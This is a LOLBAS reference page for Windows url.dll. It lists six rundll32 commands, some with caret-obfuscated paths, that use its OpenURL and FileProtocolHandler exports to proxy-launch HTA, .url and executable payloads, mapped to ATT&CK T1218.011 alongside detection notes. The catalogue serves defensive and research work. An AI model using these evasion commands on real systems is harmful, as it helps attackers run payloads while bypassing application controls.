LOLBAS. GitHub
LIVING OFF THE LAND / OS LIBRARIES

Url.dll

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Internet Shortcut Shell Extension DLL.

Execute
06COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

6 examples

Execute6

EXAMPLE 01T1218.011

Launch a HTML application payload by calling OpenURL.

COMMAND
rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}
USE CASE
Invoke an HTML Application via mshta.exe (Default Handler).
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · HTA
EXAMPLE 02T1218.011

Launch an executable payload via proxy through a .url (information) file by calling OpenURL.

COMMAND
rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}
USE CASE
Load an executable payload by calling a .url file.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · URL
EXAMPLE 03T1218.011

Launch an executable by calling OpenURL.

COMMAND
rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
USE CASE
Load an executable payload by specifying the file protocol handler (obfuscated).
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXE
EXAMPLE 04T1218.011

Launch an executable by calling FileProtocolHandler.

COMMAND
rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}
USE CASE
Launch an executable.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXE
EXAMPLE 05T1218.011

Launch an executable by calling FileProtocolHandler.

COMMAND
rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
USE CASE
Load an executable payload by specifying the file protocol handler (obfuscated).
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXE
EXAMPLE 06T1218.011

Launch a HTML application payload by calling FileProtocolHandler.

COMMAND
rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta
USE CASE
Invoke an HTML Application via mshta.exe (Default Handler).
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · HTA
02 / ON DISK

Known paths

c:\windows\system32\url.dll
c:\windows\syswow64\url.dll
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Adam (OpenURL)@hexacorn
Jimmy (OpenURL)@bohops
Malwrologist (FileProtocolHandler - HTA)@DissectMalware
r0lan (Obfuscation)@r0lan